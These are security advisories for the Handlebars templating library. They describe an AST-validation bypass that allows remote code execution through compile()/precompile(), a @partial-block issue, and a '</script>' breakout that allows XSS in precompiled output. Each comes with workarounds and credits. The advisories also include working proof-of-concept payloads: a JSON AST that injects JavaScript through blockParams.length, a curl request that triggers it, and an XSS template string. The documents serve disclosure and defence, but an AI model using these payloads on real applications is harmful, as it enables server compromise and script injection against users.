Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

| AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) | | depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true | | A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true | | A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

1. the blockParams object has no type, so none of the type-specific checks apply, and 2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

1. Start a server that compiles request input:

js import express from "express"; import Handlebars from "handlebars";

const app = express(); app.use(express.json());

app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // text may be an object, not a string res.send(template()); });

app.listen(2123);

2. Save this request body as poc.json. missingHelper does not need to exist:

json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } }

3. Send the request:

sh curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

- compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution). - precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

- Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams - Nick Mykhailyshyn - @whoareme - jmoritzc53 - bhaswanthc - dinhvaren - n0tra4e - PellaML - kustundag - kagebunsher - sanmatte

Variant BooleanLiteral|NumberLiteral.value

- sondt99 Thai Son Dinh from VinSOC Labs (R&D) - Ahmed-Elmahgob - nikolakojic-rasit - vk-can - shenhuanageshei - kustundag - kagebunsher - ffasterss

Variant PathExpression.depth

- hibrian827 Team Atlanta - oss-security-shopify

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Summary

Handlebars.precompile() generates JavaScript source that is commonly embedded in browser <script> elements. Before the fix, static template text containing </script> was emitted unchanged. HTML parsers recognize </script> even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed.

This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML <script> element. It does not affect ordinary server-side rendering or precompiled templates delivered as external JavaScript files.

Details

Static text is serialized by quotedString() in lib/handlebars/compiler/code-gen.js. The generated JavaScript is valid, but JavaScript quoting alone does not make it safe to embed in HTML. In HTML script data, the sequence </script> terminates the element regardless of JavaScript string context.

On affected releases, this template:

handlebars safe</script><script>alert("XSS")</script><script>

could produce generated source containing:

js return 'safe</script><script>alert("XSS")</script><script>';

When included inline in an HTML document, the first </script> closes the script containing the precompiled template. The next <script> element is then parsed as HTML and executes.

Proof of Concept

js const Handlebars = require('handlebars');

const template = 'safe</script><script>alert("XSS")</script><script>'; const output = Handlebars.precompile(template);

console.log(output.includes('</script>'));

Affected versions print true. Embedding output directly in an inline <script> element allows the injected script tag to be parsed by the browser.

Workarounds

- Do not inline precompiled output from untrusted templates into HTML documents. - Serve generated precompiled templates as external JavaScript files where practical.

Credits

Reported by Curly-Haired-Baboon Aka Laplas